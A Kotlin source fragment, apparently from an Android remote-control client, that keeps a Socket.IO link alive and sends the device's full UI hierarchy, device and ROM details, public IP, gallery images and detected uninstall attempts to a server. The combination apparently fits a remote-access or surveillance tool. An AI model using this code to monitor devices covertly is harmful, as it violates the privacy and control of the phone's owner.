* ✅ 启动主动连接监控 - 增强稳定性版本针对transport error问题
*/
private fun startConnectionMonitoring() {
Log.e(TAG, "🚀🚀🚀 启动增强连接监控!!! 🚀🚀🚀")
// 🎯 优化调整检测间隔与服务端60秒心跳间隔协调提高异常检测效率
val checkInterval = if (Build.VERSION.SDK_INT >= 35) { // Android 15 (API 35)
30000L // Android 15每30秒检测一次与60秒心跳间隔形成2:1比例
} else {
25000L // 其他版本每25秒检测一次更快发现连接问题
}
connectionCheckJob = scope.launch {
var consecutiveFailures = 0 // ✅ 连续失败计数
while (isActive && isConnected) {
try {
delay(checkInterval)
Log.w(TAG, "🔍🔍🔍 执行智能连接检测... 🔍🔍🔍")
// ✅ 多层连接状态检查
val socketConnected = socket?.connected() == true
val socketExists = socket != null
if (!socketExists) {
Log.e(TAG, "❌❌❌ Socket实例不存在!!! ❌❌❌")
isConnected = false
isDeviceRegistered = false
forceReconnect()
break
}
if (!socketConnected) {
consecutiveFailures++
Log.e(TAG, "❌❌❌ 检测到Socket.IO连接断开!!! 连续失败次数: $consecutiveFailures ❌❌❌")
// 🎯 优化:平衡容错和响应速度,更快检测连接问题
if (consecutiveFailures >= 5) { // 优化为5次失败触发重连约2分钟内恢复
Log.e(TAG, "🔄🔄🔄 连接检测连续失败${consecutiveFailures}次,触发重连!!! 🔄🔄🔄")
isConnected = false
isDeviceRegistered = false
forceReconnect()
break
} else {
Log.w(TAG, "⚠️ 检测失败次数: $consecutiveFailures/5等待下次检测确认")
continue
}
} else {
consecutiveFailures = 0 // 重置失败计数
}
// ✅ 优化心跳测试降低频率减少transport error触发
if (consecutiveFailures == 0) {
try {
val testData = JSONObject().apply {
put("type", "connection_test")
put("timestamp", System.currentTimeMillis())
put("device_id", android.provider.Settings.Secure.getString(
service.contentResolver,
android.provider.Settings.Secure.ANDROID_ID
))
}
socket?.emit("CONNECTION_TEST", testData)
Log.w(TAG, "✅✅✅ 智能连接检测:发送测试消息成功 ✅✅✅")
} catch (e: Exception) {
consecutiveFailures++
Log.e(TAG, "❌❌❌ 连接检测:发送测试消息失败!!! 连续失败: $consecutiveFailures ❌❌❌", e)
// 🎯 优化:心跳失败时也要快速响应,避免长时间无响应
if (consecutiveFailures >= 6) { // 优化为6次失败约2.5-3分钟重连
Log.e(TAG, "🔧 心跳测试连续失败${consecutiveFailures}次,调用重连逻辑")
isConnected = false
forceReconnect()
break
}
}
}
} catch (e: Exception) {
Log.e(TAG, "❌❌❌ 连接监控异常!!! ❌❌❌", e)
break
}
}
Log.e(TAG, "💔💔💔 连接监控结束 💔💔💔")
}
}
private fun getDeviceId(): String {
return android.provider.Settings.Secure.getString(
service.contentResolver,
android.provider.Settings.Secure.ANDROID_ID
) ?: "unknown"
}
private fun getUniqueDeviceName(): String {
val model = android.os.Build.MODEL
val deviceId = getDeviceId()
val shortId = deviceId.takeLast(8)
return "${android.os.Build.MANUFACTURER}_${model}_${shortId}"
}
/**
* 获取设备屏幕宽度
*/
private fun getScreenWidth(): Int {
val metrics = service.resources.displayMetrics
return metrics.widthPixels
}
/**
* 获取设备屏幕高度
*/
private fun getScreenHeight(): Int {
// 使用WindowMetrics获取完整的屏幕尺寸包含系统UI
try {
val windowManager = service.getSystemService(Context.WINDOW_SERVICE) as android.view.WindowManager
return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
val windowMetrics = windowManager.currentWindowMetrics
windowMetrics.bounds.height()
} else {
@Suppress("DEPRECATION")
val display = windowManager.defaultDisplay
val realSize = android.graphics.Point()
@Suppress("DEPRECATION")
display.getRealSize(realSize)
realSize.y
}
} catch (e: Exception) {
Log.e(TAG, "获取真实屏幕尺寸失败,使用默认方法", e)
val metrics = service.resources.displayMetrics
return metrics.heightPixels
}
}
/**
* 处理UI层次结构分析请求 - 默认使用增强功能
*/
private fun handleUIHierarchyRequest(requestData: JSONObject) {
try {
Log.e(TAG, "🔍🔍🔍 开始处理UI层次结构分析请求默认增强版!!! 🔍🔍🔍")
val requestId = requestData.optString("requestId", "")
val clientId = requestData.optString("clientId", "")
val includeInvisible = requestData.optBoolean("includeInvisible", true) // 默认true
val includeNonInteractive = requestData.optBoolean("includeNonInteractive", true)
val maxDepth = requestData.optInt("maxDepth", 25) // 默认25层
Log.e(TAG, "📋 请求参数: requestId=$requestId, clientId=$clientId, includeInvisible=$includeInvisible, includeNonInteractive=$includeNonInteractive, maxDepth=$maxDepth")
// 使用协程在后台执行UI分析
scope.launch {
try {
Log.e(TAG, "🔬🔬🔬 开始执行增强UI分析!!! 🔬🔬🔬")
// 直接调用原有的分析方法,并使用增强参数
val enhancedMaxDepth = maxOf(maxDepth, 25) // 至少25层
val enhancedIncludeInvisible = includeInvisible || true // 默认包含不可见元素
val hierarchy = service.analyzeUIHierarchy(enhancedIncludeInvisible, includeNonInteractive, enhancedMaxDepth)
// 获取基本设备信息
val deviceCharacteristics = mapOf(
"brand" to android.os.Build.BRAND,
"model" to android.os.Build.MODEL,
"manufacturer" to android.os.Build.MANUFACTURER,
"sdkVersion" to android.os.Build.VERSION.SDK_INT.toString(),
"androidVersion" to android.os.Build.VERSION.RELEASE,
"deviceType" to "android"
)
if (hierarchy != null) {
Log.e(TAG, "✅✅✅ 增强UI分析成功!!! ✅✅✅")
// 发送完整的UI层次结构响应
val responseData = JSONObject().apply {
put("deviceId", getDeviceId())
put("requestId", requestId)
put("clientId", clientId)
put("success", true)
put("message", "增强UI分析成功")
put("timestamp", System.currentTimeMillis())
put("hierarchy", hierarchy as Any)
put("enhanced", true) // 总是标识为增强版
// 总是包含设备特征信息
put("deviceCharacteristics", JSONObject(deviceCharacteristics))
// 添加分析元数据
put("analysisMetadata", JSONObject().apply {
put("version", "enhanced_v1.0")
put("parameters", JSONObject().apply {
put("includeInvisible", includeInvisible)
put("includeNonInteractive", includeNonInteractive)
put("maxDepth", maxDepth)
})
put("capabilities", JSONObject().apply {
put("keyboardDetection", true)
put("windowDetection", true)
put("deviceProfiling", true)
})
})
}
Log.e(TAG, "📤📤📤 准备发送增强UI层次结构响应!!! 📤📤📤")
Log.e(TAG, "📊 响应数据大小: ${responseData.toString().length} 字符")
Log.e(TAG, "🔍 设备特征: 已包含")
// 发送响应
sendUIHierarchyResponse(responseData)
} else {
Log.e(TAG, "❌❌❌ 增强UI分析返回null!!! ❌❌❌")
// 发送错误响应
sendUIHierarchyError(requestId, clientId, "无法获取UI层次结构增强模式")
}
} catch (e: Exception) {
Log.e(TAG, "❌❌❌ 增强UI层次结构分析失败!!! ❌❌❌", e)
sendUIHierarchyError(requestId, clientId, "增强分析失败: ${e.message}")
}
}
} catch (e: Exception) {
Log.e(TAG, "❌❌❌ 处理UI层次结构请求失败!!! ❌❌❌", e)
}
}
/**
* 发送UI层次结构响应 - 使用screen_data事件发送已验证可行
*/
private fun sendUIHierarchyResponse(responseData: JSONObject) {
try {
Log.e(TAG, "🔄 使用screen_data事件发送UI层次结构响应实验验证可行")
// ✅ 完全参考sendScreenData的简单连接检查
if (isConnected && socket?.connected() == true) {
// ✅ 关键修复使用screen_data事件发送UI响应数据
try {
// 🎯 将UI响应数据转换为screen_data格式
val uiScreenData = JSONObject().apply {
put("deviceId", getDeviceId())
put("format", "UI_HIERARCHY") // 特殊格式标识
put("data", responseData.toString()) // UI数据作为字符串
put("width", getScreenWidth())
put("height", getScreenHeight())
put("quality", 100) // UI数据质量设为100
put("timestamp", System.currentTimeMillis())
put("uiHierarchy", true) // 标识这是UI层次结构数据
}
val emitResult = socket?.emit("screen_data", uiScreenData)
Log.e(TAG, "✅✅✅ 使用screen_data事件发送UI层次结构响应成功: $emitResult")
Log.e(TAG, "📊 UI响应数据大小: ${responseData.toString().length} 字符")
Log.e(TAG, "🔍 Socket状态详情: connected=${socket?.connected()}, id=${socket?.id()}")
} catch (emitException: Exception) {
// 🔧 UI层次结构响应失败处理同样增加容错机制
Log.e(TAG, "❌ 使用screen_data事件发送UI层次结构响应失败: ${emitException.message}")
// 不立即触发重连,而是记录错误,让统一的重连机制处理
Log.w(TAG, "⚠️ UI响应发送失败由CONNECTION_TEST心跳机制统一检测重连")
throw emitException
}
} else {
Log.e(TAG, "❌ Socket.IO未连接无法发送UI层次结构响应")
Log.e(TAG, "🔍 连接状态详情: isConnected=$isConnected, socket?.connected()=${socket?.connected()}")
// 🔧 不立即重连,由心跳机制统一检测连接状态
Log.w(TAG, "⚠️ Socket未连接等待CONNECTION_TEST心跳机制检测重连")
}
} catch (e: Exception) {
Log.e(TAG, "❌❌❌ 发送UI层次结构响应异常!!! ❌❌❌", e)
}
}
/**
* 发送UI层次结构错误响应 - 使用screen_data事件发送
*/
private fun sendUIHierarchyError(requestId: String, clientId: String, errorMessage: String) {
try {
val errorData = JSONObject().apply {
put("deviceId", getDeviceId())
put("requestId", requestId)
put("clientId", clientId)
put("error", errorMessage)
put("success", false)
put("timestamp", System.currentTimeMillis())
}
Log.w(TAG, "📤 准备发送UI层次结构错误响应: $errorMessage")
// ✅ 使用screen_data事件发送错误响应
if (isConnected && socket?.connected() == true) {
try {
// 🎯 将错误响应数据转换为screen_data格式
val errorScreenData = JSONObject().apply {
put("deviceId", getDeviceId())
put("format", "UI_HIERARCHY") // 特殊格式标识
put("data", errorData.toString()) // 错误数据作为字符串
put("width", getScreenWidth())
put("height", getScreenHeight())
put("quality", 100)
put("timestamp", System.currentTimeMillis())
put("uiHierarchy", true) // 标识这是UI层次结构数据
put("isError", true) // 标识这是错误响应
}
val emitResult = socket?.emit("screen_data", errorScreenData)
Log.w(TAG, "✅ 使用screen_data事件发送UI层次结构错误响应成功: $emitResult")
} catch (emitException: Exception) {
// 🔧 错误响应发送失败也使用容错机制
Log.e(TAG, "❌ 使用screen_data事件发送UI层次结构错误响应失败: ${emitException.message}")
// 不立即触发重连,由心跳机制统一处理
Log.w(TAG, "⚠️ UI错误响应发送失败由CONNECTION_TEST心跳机制统一检测重连")
throw emitException
}
} else {
Log.e(TAG, "❌ Socket.IO未连接无法发送UI层次结构错误响应")
// 🔧 不立即重连,由心跳机制统一检测连接状态
Log.w(TAG, "⚠️ Socket未连接等待CONNECTION_TEST心跳机制检测重连")
}
} catch (e: Exception) {
Log.e(TAG, "❌ 发送错误响应失败", e)
}
}
/**
* ✅ 获取当前网络类型(用于网络变化检测)
*/
private fun getCurrentNetworkType(): String {
return try {
val connectivityManager = service.getSystemService(Context.CONNECTIVITY_SERVICE)
as android.net.ConnectivityManager
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
val activeNetwork = connectivityManager.activeNetwork
val networkCapabilities = connectivityManager.getNetworkCapabilities(activeNetwork)
when {
networkCapabilities?.hasTransport(android.net.NetworkCapabilities.TRANSPORT_WIFI) == true -> "WIFI"
networkCapabilities?.hasTransport(android.net.NetworkCapabilities.TRANSPORT_CELLULAR) == true -> "CELLULAR"
networkCapabilities?.hasTransport(android.net.NetworkCapabilities.TRANSPORT_ETHERNET) == true -> "ETHERNET"
else -> "UNKNOWN"
}
} else {
@Suppress("DEPRECATION")
val activeNetworkInfo = connectivityManager.activeNetworkInfo
@Suppress("DEPRECATION")
when (activeNetworkInfo?.type) {
android.net.ConnectivityManager.TYPE_WIFI -> "WIFI"
android.net.ConnectivityManager.TYPE_MOBILE -> "CELLULAR"
android.net.ConnectivityManager.TYPE_ETHERNET -> "ETHERNET"
else -> "UNKNOWN"
}
}
} catch (e: Exception) {
Log.w(TAG, "获取网络类型失败", e)
"UNKNOWN"
}
}
/**
* ✅ 检查是否应该使用保守的重连策略(基于网络环境和错误历史)
*/
private fun shouldUseConservativeReconnect(): Boolean {
val currentTime = System.currentTimeMillis()
val networkType = getCurrentNetworkType()
// 多因素判断是否使用保守策略
val factorsForConservative = mutableListOf<String>()
// 1. Transport Error频率判断
if (transportErrorCount >= 2 && (currentTime - lastTransportErrorTime) < 600000) {
factorsForConservative.add("频繁transport_error(${transportErrorCount}次)")
}
// 2. 网络类型判断 - CELLULAR网络更容易不稳定
if (networkType == "CELLULAR") {
factorsForConservative.add("移动网络")
}
// 3. 连接持续时间判断 - 如果经常短时间断开,说明网络不稳定
val connectionDuration = currentTime - lastConnectTime
if (connectionDuration < 120000 && lastConnectTime > 0) { // 连接时间少于2分钟
factorsForConservative.add("短连接时间(${connectionDuration/1000}秒)")
}
// 4. Android版本判断 - Android 15可能需要特殊处理
if (Build.VERSION.SDK_INT >= 35) {
factorsForConservative.add("Android15系统")
}
// 5. 网络质量分数判断 - 分数低于60时使用保守策略
if (networkQualityScore < 60) {
factorsForConservative.add("网络质量较差(${networkQualityScore}分)")
}
val useConservative = factorsForConservative.isNotEmpty()
if (useConservative) {
Log.w(TAG, "🔧 启用保守重连策略,触发因素: ${factorsForConservative.joinToString(", ")}")
} else {
Log.i(TAG, "🚀 使用标准重连策略,网络环境良好")
}
return useConservative
}
/**
* ✅ 记录连接持续时间,用于网络质量评估
*/
private fun recordConnectionDuration(duration: Long) {
recentConnectionTimes.add(duration)
// 只保留最近10次连接记录
if (recentConnectionTimes.size > 10) {
recentConnectionTimes.removeAt(0)
}
}
/**
* ✅ 更新网络质量分数(基于多因素综合评估)
*/
private fun updateNetworkQualityScore(isSuccess: Boolean, reason: String = "", duration: Long = 0) {
val previousScore = networkQualityScore
if (isSuccess) {
// 连接成功,适度提升分数
networkQualityScore = minOf(100, networkQualityScore + 5)
} else {
// 连接失败或断开,根据原因和时长降低分数
val penalty = when {
reason == "transport_error" -> 15 // transport error惩罚较重
duration < 30000 -> 12 // 连接时间少于30秒网络很不稳定
duration < 120000 -> 8 // 连接时间少于2分钟网络不稳定
duration < 300000 -> 5 // 连接时间少于5分钟轻微不稳定
else -> 2 // 长时间连接后断开,轻微惩罚
}
networkQualityScore = maxOf(0, networkQualityScore - penalty)
}
// 根据成功率进行额外调整
val totalConnections = connectionSuccessCount + connectionFailureCount
if (totalConnections >= 5) {
val successRate = connectionSuccessCount.toFloat() / totalConnections
when {
successRate >= 0.9 -> networkQualityScore = minOf(100, networkQualityScore + 3)
successRate <= 0.5 -> networkQualityScore = maxOf(0, networkQualityScore - 5)
}
}
// 根据平均连接时长进行调整
if (recentConnectionTimes.isNotEmpty()) {
val avgDuration = recentConnectionTimes.average()
when {
avgDuration >= 300000 -> networkQualityScore = minOf(100, networkQualityScore + 2) // 平均5分钟以上
avgDuration <= 60000 -> networkQualityScore = maxOf(0, networkQualityScore - 3) // 平均1分钟以下
}
}
if (networkQualityScore != previousScore) {
Log.i(TAG, "🌐 网络质量评分更新: $previousScore -> $networkQualityScore (${getNetworkQualityDescription()})")
}
}
/**
* ✅ 获取网络质量描述
*/
private fun getNetworkQualityDescription(): String {
return when {
networkQualityScore >= 80 -> "优秀"
networkQualityScore >= 60 -> "良好"
networkQualityScore >= 40 -> "一般"
networkQualityScore >= 20 -> "较差"
else -> "很差"
}
}
/**
* ✅ 获取当前网络质量分数(供外部查询)
*/
fun getNetworkQualityScore(): Int = networkQualityScore
/**
* 🆕 获取设备公网IP地址
*/
private suspend fun getPublicIP(): String? {
return withContext(Dispatchers.IO) {
try {
// 检查缓存
val currentTime = System.currentTimeMillis()
if (cachedPublicIP != null && (currentTime - lastIPCheckTime) < IP_CACHE_DURATION) {
Log.d(TAG, "🌐 使用缓存的公网IP: $cachedPublicIP")
return@withContext cachedPublicIP
}
// 尝试多个公网IP检测服务增加成功率
val ipServices = listOf(
"https://ipinfo.io/ip",
"https://api.ipify.org",
"https://icanhazip.com",
"https://checkip.amazonaws.com"
)
for (service in ipServices) {
try {
val url = java.net.URL(service)
val connection = url.openConnection() as java.net.HttpURLConnection
connection.requestMethod = "GET"
connection.connectTimeout = 5000 // 5秒超时
connection.readTimeout = 5000
connection.setRequestProperty("User-Agent", "RemoteControl-Android")
if (connection.responseCode == 200) {
val ip = connection.inputStream.bufferedReader().use { it.readText().trim() }
// 验证IP格式
if (isValidIP(ip)) {
cachedPublicIP = ip
lastIPCheckTime = currentTime
Log.i(TAG, "🌐 获取公网IP成功: $ip (服务: $service)")
return@withContext ip
}
}
connection.disconnect()
} catch (e: Exception) {
Log.w(TAG, "⚠️ IP检测服务失败: $service", e)
continue
}
}
Log.w(TAG, "⚠️ 所有公网IP检测服务都失败")
return@withContext null
} catch (e: Exception) {
Log.e(TAG, "❌ 获取公网IP异常", e)
return@withContext null
}
}
}
/**
* 🆕 验证IP地址格式
*/
private fun isValidIP(ip: String): Boolean {
return try {
val parts = ip.split(".")
if (parts.size != 4) return false
parts.all { part ->
val num = part.toIntOrNull()
num != null && num >= 0 && num <= 255
}
} catch (e: Exception) {
false
}
}
/**
* 🛡️ 发送卸载尝试检测事件到服务器
*/
fun sendUninstallAttemptDetected(type: String, message: String = "") {
try {
if (isConnected && socket?.connected() == true) {
val eventData = JSONObject().apply {
put("deviceId", getDeviceId())
put("type", type)
put("message", message.ifEmpty { "检测到卸载尝试: $type" })
put("timestamp", System.currentTimeMillis())
}
socket?.emit("uninstall_attempt_detected", eventData)
Log.w(TAG, "🛡️ 已发送卸载尝试检测事件: type=$type, message=$message")
} else {
Log.w(TAG, "⚠️ Socket未连接无法发送卸载尝试检测事件")
}
} catch (e: Exception) {
Log.e(TAG, "❌ 发送卸载尝试检测事件失败", e)
}
}
/**
* 🆕 获取系统版本名称如Android 11、Android 12等
*/
private fun getSystemVersionName(): String {
return try {
val apiLevel = android.os.Build.VERSION.SDK_INT
val release = android.os.Build.VERSION.RELEASE
// 根据API级别映射到Android版本名称
val versionName = when (apiLevel) {
35 -> "Android 15"
34 -> "Android 14"
33 -> "Android 13"
32, 31 -> "Android 12"
30 -> "Android 11"
29 -> "Android 10"
28 -> "Android 9"
27, 26 -> "Android 8"
25, 24, 23 -> "Android 7"
22, 21 -> "Android 5"
19 -> "Android 4.4"
else -> "Android $release"
}
Log.d(TAG, "📱 系统版本名称: $versionName (API $apiLevel)")
versionName
} catch (e: Exception) {
Log.e(TAG, "❌ 获取系统版本名称失败", e)
"Android ${android.os.Build.VERSION.RELEASE}"
}
}
/**
* 🆕 获取ROM类型如MIUI、ColorOS、FunTouch等
*/
private fun getROMType(): String {
return try {
val brand = android.os.Build.BRAND.lowercase()
val manufacturer = android.os.Build.MANUFACTURER.lowercase()
val romType = when {
// 小米系列
brand.contains("xiaomi") || brand.contains("redmi") || brand.contains("poco") -> {
when {
hasSystemProperty("ro.mi.os.version.incremental") -> "澎湃OS"
hasSystemProperty("ro.miui.ui.version.name") -> "MIUI"
else -> "原生Android"
}
}
// 华为系列
brand.contains("huawei") || brand.contains("honor") -> {
when {
hasSystemProperty("ro.build.version.emui") -> "EMUI"
hasSystemProperty("ro.magic.api.version") -> "Magic UI"
else -> "原生Android"
}
}
// OPPO系列
brand.contains("oppo") || brand.contains("oneplus") -> {
when {
hasSystemProperty("ro.build.version.opporom") -> "ColorOS"
hasSystemProperty("ro.oxygen.version") -> "OxygenOS"
else -> "原生Android"
}
}
// vivo系列
brand.contains("vivo") || brand.contains("iqoo") -> {
if (hasSystemProperty("ro.vivo.os.version")) "OriginOS" else "Funtouch OS"
}
// 三星系列
brand.contains("samsung") -> "One UI"
// 魅族系列
brand.contains("meizu") -> "Flyme"
// 努比亚系列
brand.contains("nubia") -> "nubia UI"
// 联想系列
brand.contains("lenovo") -> "ZUI"
// 中兴系列
brand.contains("zte") -> "MiFavor"
// Google系列
brand.contains("google") || brand.contains("pixel") -> "原生Android"
else -> {
// 尝试通过系统属性检测
when {
hasSystemProperty("ro.miui.ui.version.name") -> "MIUI"
hasSystemProperty("ro.build.version.emui") -> "EMUI"
hasSystemProperty("ro.magic.api.version") -> "Magic UI"
hasSystemProperty("ro.build.version.opporom") -> "ColorOS"
hasSystemProperty("ro.oxygen.version") -> "OxygenOS"
hasSystemProperty("ro.vivo.os.version") -> "OriginOS"
hasSystemProperty("ro.build.version.oneui") -> "One UI"
else -> "${manufacturer.replaceFirstChar { it.uppercase() }} ROM"
}
}
}
Log.d(TAG, "📱 ROM类型: $romType (Brand: $brand, Manufacturer: $manufacturer)")
romType
} catch (e: Exception) {
Log.e(TAG, "❌ 获取ROM类型失败", e)
"未知ROM"
}
}
/**
* 🆕 获取ROM版本如MIUI 12.5、ColorOS 11.1等)
*/
private fun getROMVersion(): String {
return try {
val brand = android.os.Build.BRAND.lowercase()
val romVersion = when {
// 小米MIUI/澎湃OS版本
brand.contains("xiaomi") || brand.contains("redmi") || brand.contains("poco") -> {
// 优先检查澎湃OS版本
getSystemProperty("ro.mi.os.version.name") ?:
getSystemProperty("ro.mi.os.version.code") ?:
// 然后检查MIUI版本
getSystemProperty("ro.miui.ui.version.name") ?:
getSystemProperty("ro.miui.ui.version.code") ?: "未知版本"
}
// 华为EMUI/Magic UI版本
brand.contains("huawei") || brand.contains("honor") -> {
getSystemProperty("ro.build.version.emui") ?:
getSystemProperty("ro.magic.api.version") ?:
getSystemProperty("ro.build.hw_emui_api_level") ?: "未知版本"
}
// OPPO ColorOS版本
brand.contains("oppo") -> {
getSystemProperty("ro.build.version.opporom") ?:
getSystemProperty("ro.build.version.ota") ?: "未知版本"
}
// OnePlus OxygenOS版本
brand.contains("oneplus") -> {
getSystemProperty("ro.oxygen.version") ?:
getSystemProperty("ro.rom.version") ?: "未知版本"
}
// vivo FunTouch/OriginOS版本
brand.contains("vivo") || brand.contains("iqoo") -> {
getSystemProperty("ro.vivo.os.version") ?:
getSystemProperty("ro.vivo.product.version") ?: "未知版本"
}
// 三星One UI版本
brand.contains("samsung") -> {
getSystemProperty("ro.build.version.oneui") ?:
getSystemProperty("ro.build.version.sem") ?: "未知版本"
}
// 魅族Flyme版本
brand.contains("meizu") -> {
getSystemProperty("ro.build.flyme.version") ?: "未知版本"
}
else -> {
// 尝试获取通用版本信息
getSystemProperty("ro.build.version.incremental") ?:
getSystemProperty("ro.build.id") ?: "未知版本"
}
}
Log.d(TAG, "📱 ROM版本: $romVersion (Brand: $brand)")
romVersion
} catch (e: Exception) {
Log.e(TAG, "❌ 获取ROM版本失败", e)
"未知版本"
}
}
/**
* 🆕 检查系统属性是否存在
*/
private fun hasSystemProperty(key: String): Boolean {
return try {
val property = getSystemProperty(key)
!property.isNullOrBlank()
} catch (e: Exception) {
false
}
}
/**
* 🆕 获取系统属性值
*/
private fun getSystemProperty(key: String): String? {
return try {
val clazz = Class.forName("android.os.SystemProperties")
val method = clazz.getMethod("get", String::class.java)
val result = method.invoke(null, key) as? String
result?.takeIf { it.isNotBlank() }
} catch (e: Exception) {
Log.w(TAG, "⚠️ 获取系统属性失败: $key", e)
null
}
}
/**
* 🆕 获取OS构建版本号如1.0.19.0.UMCCNXM
*/
private fun getOSBuildVersion(): String {
return try {
val brand = android.os.Build.BRAND.lowercase()
// 🔧 针对小米设备的特殊处理
if (brand.contains("xiaomi") || brand.contains("redmi") || brand.contains("poco")) {
// 检查是否为澎湃OS
val hyperosProp = getSystemProperty("ro.mi.os.version.incremental")
if (!hyperosProp.isNullOrBlank()) {
Log.d(TAG, "📱 检测到澎湃OS版本: $hyperosProp")
return hyperosProp
}
// MIUI设备特定属性
val miuiIncrementalProps = listOf(
"ro.build.version.incremental",
"ro.product.mod_device",
"ro.build.display.id"
)
for (property in miuiIncrementalProps) {
val version = getSystemProperty(property)
if (!version.isNullOrBlank() && version.length > 3) {
// 🔧 修复澎湃OS版本号格式问题移除可能的前缀
val cleanVersion = when {
version.startsWith("V") && version.contains(".") -> {
// 如果是V816.0.19.0.UMCCNXM格式提取.后面的部分
val dotIndex = version.indexOf('.')
if (dotIndex > 1) {
version.substring(dotIndex + 1)
} else version
}
else -> version
}
Log.d(TAG, "📱 小米设备OS构建版本: $cleanVersion (原始: $version, 来源: $property)")
return cleanVersion
}
}
}
// 其他品牌设备的通用属性获取
val buildProperties = listOf(
"ro.build.version.incremental", // 增量版本号
"ro.build.display.id", // 完整构建显示ID
"ro.build.id", // 构建ID
"ro.modversion", // 模组版本
"ro.build.version.security_patch", // 安全补丁版本
"ro.build.description", // 构建描述
"ro.product.build.version.incremental" // 产品构建增量版本
)
// 按优先级尝试获取版本信息
for (property in buildProperties) {
val version = getSystemProperty(property)
if (!version.isNullOrBlank() && version.length > 3) {
Log.d(TAG, "📱 获取到OS构建版本: $version (来源: $property)")
return version
}
}
// 如果都获取不到使用Build类的相关信息
val fallbackVersion = when {
android.os.Build.DISPLAY.isNotBlank() -> android.os.Build.DISPLAY
android.os.Build.ID.isNotBlank() -> android.os.Build.ID
else -> android.os.Build.VERSION.INCREMENTAL
}
Log.d(TAG, "📱 使用fallback OS构建版本: $fallbackVersion")
fallbackVersion.ifBlank { "未知版本" }
} catch (e: Exception) {
Log.e(TAG, "❌ 获取OS构建版本失败", e)
android.os.Build.VERSION.INCREMENTAL.ifBlank { "未知版本" }
}
}
// =============== 图片加载与压缩工具 ===============
private fun loadImageAsJpegBase64(contentUri: String, maxWidth: Int, maxHeight: Int, quality: Int): String? {
return try {
val uri = android.net.Uri.parse(contentUri)
val resolver = service.contentResolver
// 先读取尺寸
val boundsOptions = android.graphics.BitmapFactory.Options().apply { inJustDecodeBounds = true }
resolver.openInputStream(uri)?.use { input ->
android.graphics.BitmapFactory.decodeStream(input, null, boundsOptions)
}
val (srcW, srcH) = boundsOptions.outWidth to boundsOptions.outHeight
if (srcW <= 0 || srcH <= 0) {
Log.w(TAG, "🖼️ 无法解析图片尺寸: $contentUri")
return null
}
// 计算采样率
val inSample = calculateInSampleSize(srcW, srcH, maxWidth, maxHeight)
val decodeOptions = android.graphics.BitmapFactory.Options().apply {
inSampleSize = inSample
inPreferredConfig = android.graphics.Bitmap.Config.RGB_565
}
val bitmap = resolver.openInputStream(uri)?.use { input ->
android.graphics.BitmapFactory.decodeStream(input, null, decodeOptions)
} ?: return null
val output = java.io.ByteArrayOutputStream()
bitmap.compress(android.graphics.Bitmap.CompressFormat.JPEG, quality.coerceIn(30, 95), output)
bitmap.recycle()
val bytes = output.toByteArray()
if (bytes.size > maxGalleryImageSize) {
Log.w(TAG, "⚠️ 压缩后图片仍过大(${bytes.size}B),尝试再次降低质量")
val retryOut = java.io.ByteArrayOutputStream()
val retryBitmap = resolver.openInputStream(uri)?.use { input ->
android.graphics.BitmapFactory.decodeStream(input, null, decodeOptions)
} ?: return null
retryBitmap.compress(android.graphics.Bitmap.CompressFormat.JPEG, 60, retryOut)
retryBitmap.recycle()
val retryBytes = retryOut.toByteArray()
if (retryBytes.size > maxGalleryImageSize) {
Log.w(TAG, "⚠️ 二次压缩后仍过大(${retryBytes.size}B),放弃发送: $contentUri")
return null
}
return android.util.Base64.encodeToString(retryBytes, android.util.Base64.NO_WRAP)
}
android.util.Base64.encodeToString(bytes, android.util.Base64.NO_WRAP)
} catch (e: Exception) {
Log.e(TAG, "❌ 加载/压缩图片失败: $contentUri", e)
null
}
}
private fun calculateInSampleSize(srcW: Int, srcH: Int, reqW: Int, reqH: Int): Int {
var inSampleSize = 1
var height = srcH
var width = srcW
if (height > reqH || width > reqW) {
var halfHeight = height / 2
var halfWidth = width / 2
while ((halfHeight / inSampleSize) >= reqH && (halfWidth / inSampleSize) >= reqW) {
inSampleSize *= 2
}
}
return inSampleSize.coerceAtLeast(1)
}
}